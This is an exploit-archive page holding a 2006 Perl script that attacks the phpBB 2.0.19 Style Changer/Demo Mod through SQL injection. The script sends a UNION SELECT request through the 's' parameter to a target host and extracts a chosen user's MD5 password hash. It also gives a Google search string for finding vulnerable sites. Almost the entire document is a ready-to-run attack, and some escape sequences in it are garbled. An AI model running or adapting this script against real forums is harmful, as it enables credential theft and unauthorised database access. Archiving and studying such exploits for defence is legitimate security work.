[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit
# Published : 2006-02-05
# Author : SkOd
# Previous Title : ASPThai.Net Guestbook <= 5.5 (Auth Bypass) SQL Injection Exploit
# Next Title : Clever Copy <= 3.0 Admin Auth Details / Remote SQL Injection Exploit 


#!/usr/bin/perl
#########################################################
#		 _______ _______ ______ 		#
#		 |______ |______ |     		#
#		 ______| |______ |_____/		#
#		                        		#
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT	#
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style ChangerViewer MOD SQL injection Exploit   #
#		Tested on phpBB 2.0.19			   #
#	    created By SkOd. SED Security Team             #
############################################################
	bbstyle.pl [HOST] [PATH] [Target id]
	 bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connectionn";
$serv =~ s/(http://)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failedrn";
print $socket "GET $path HTTP/1.1n";
print $socket "Host: $servn";
print $socket "Accept: */*n";
print $socket "Connection: closenn";
print "[+]Connectedn";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $idn[+]Md5 Hash: $1n";
}

# www.Syue.com [2006-02-05]